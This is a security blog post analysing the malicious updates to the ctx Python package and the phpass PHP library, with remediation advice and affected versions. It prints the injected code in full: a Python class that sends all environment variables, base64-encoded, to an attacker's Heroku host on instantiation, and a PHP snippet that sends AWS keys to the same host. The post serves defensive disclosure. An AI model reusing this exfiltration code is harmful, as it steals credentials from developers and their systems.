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How two Python and PHP dependencies, ctx and Phpass, became malware that stole secrets and credentials

ยท 4 min read
Chris Thompson
Free Wortley
Gabe Martino

In this post we'll be reviewing the malicious code that was introduced to both ctx and phpass.

Screenshot of ctx Twitter tweet

Tweet from @s0md3v notifying the developer community about ctx.

Malicious Code in ctx

After 7 years, the Python package ctx on PyPi received a version update. A malicious version of ctx was published under 0.2.2 as an update to the previous 0.1.2.

The following code was added to the package:

def __init__(self):
self.sendRequest()

# code that performs dict access
# please DO NOT RUN THIS CODE !

def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "

message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')

response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

Malware Code Overview

This code does the following:

  1. Reads all Environment variables (potentially containing sensitive values like credentials for AWS or the database),
  2. Converts the values into base64 encoding to allow for transport via HTTP,
  3. Finally, it sends an HTTP request with the leaked environment variables to the attacker's Heroku App.

Phpass contains similar malware

The PHP library on Composer Phpass was also updated with identical malicious code around the same time.

Screenshot of Phpass Twitter tweet

Tweet from @s0md3v notifying the developer community about Phpass.

This malicious code that was added to this package was:

$access = getenv('AWS_ACCESS_KEY');
$secret = getenv('AWS_SECRET_KEY');
$xml = file_get_contents('http://anti-theft-web.herokuapp.com/hacked/$access/$secret');

From the Sonatype blog post

Most Phpass Users Unaffected

Luckily, the PHP package derived from the affected repository hautelook/phpass had not received many downloads in the past months. Instead, the package for the forked repository bordoni/phpass was started to primarily be used by developers well before the malicious code was published.

The below graphs show the download count of the packages from Packagist (the PHP Package registry powering Composer):

monthly downloads of the hautelook/phpass library

Monthly downloads of hautelook/phpass (malicious version)

monthly downloads of the bordoni/phpass library

Monthly downloads of bordoni/phpass (safe fork)

Remediation Steps

The libraries have all been taken down now. The simplest way to verify that you're safe is to update to the latest package versions.

If updating isn't an option, you may also verify that you're not using any of the following package versions.

Affected Package Versions

  • ctx versions 0.2.2 and 0.2.6 (Python)
  • Phpass versions are unknown (PHP)

External References

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Updates

  1. Original post on 2022-05-24 @ 5pm PDT
  2. Added more details about the packages on 2022-05-25 @ 1:30am UTC